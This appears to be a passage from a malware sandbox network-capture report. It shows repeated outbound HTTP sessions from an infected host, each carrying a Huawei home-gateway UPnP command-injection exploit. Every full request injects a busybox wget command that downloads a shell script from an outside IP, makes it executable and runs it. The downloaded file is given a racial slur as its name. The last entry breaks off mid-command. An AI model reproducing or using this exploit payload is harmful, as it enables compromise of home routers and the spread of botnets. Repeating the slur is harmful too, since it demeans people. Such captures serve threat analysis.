Feb 19, 2024 18:37:07.078989029 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	58810	31.200.104.7	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.781686068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	32950	31.200.101.60	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.783834934 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	34270	31.200.102.30	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.793807983 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	48036	31.200.92.35	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.800103903 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	34588	31.24.86.71	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.950298071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.496669054 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:58.320511103 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:02.063855886 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod 